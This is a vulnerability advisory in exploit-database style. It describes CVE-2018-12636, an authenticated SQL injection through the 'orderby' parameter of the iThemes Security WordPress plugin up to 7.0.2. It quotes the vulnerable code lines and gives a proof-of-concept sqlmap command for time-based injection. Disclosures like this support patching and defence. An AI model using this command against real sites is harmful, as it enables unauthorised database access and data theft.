WordPress iThemes Security SQL Injection

WordPress iThemes Security plugin versions prior to 7.0.3 suffer from a remote SQL injection vulnerability.

MD5 | 9541755a02a703816251ce29c6ec9eaa

# Exploit Title: WordPress Plugin iThemes Security(better-wp-security) <= 7.0.2 - Authenticated SQL Injection
# Date: 2018-06-25
# Exploit Author: Alirim Emini

# Website: https://www.sentry.co.com/
# Vendor Homepage: https://ithemes.com/
# Software Link: https://wordpress.org/plugins/better-wp-security/
# Version/s: 7.0.2 and below
# Patched Version: 7.0.3
# CVE : 2018-12636
# WPVULNDB: https://wpvulndb.com/vulnerabilities/9099

Plugin description:

iThemes Security works to lock down WordPress, fix common holes, stop automated attacks and strengthen user credentials. With advanced features for experienced users, this WordPress security plugin can help harden WordPress.


WordPress Plugin iThemes Security(better-wp-security) before 7.0.3 allows remote authenticated users to execute arbitrary SQL commands via the 'orderby' parameter in the 'itsec-logs' page to wp-admin/admin.php.

Technical details:

Parameter orderby is vulnerable because backend variable $sort_by_column
is not escaped.

File: better-wp-security/core/admin-pages/logs-list-table.php
Line 271: if ( isset( $_GET[' orderby '], $_GET['order'] ) ) {
Line 272: $ sort_by_column = $_GET[' orderby '];

File: better-wp-security/core/lib/log-util.php
Line 168: $query .= ' ORDER BY ' . implode( ', ', $ sort_by_column ));

Proof of Concept (PoC):

The following GET request will cause the SQL query to execute and sleep for 10 seconds if clicked on as an authenticated admin:



sqlmap -u 'http://localhost/wp-admin/admin.php?page=itsec-logs&filter=malware&orderby=remote_ip*&order=asc&paged=0' --cookie "wordpress_b...; wordpress_logged_in_bbf...;" --string "WordPress" --dbms=MySQL --technique T --level 5 --risk 3

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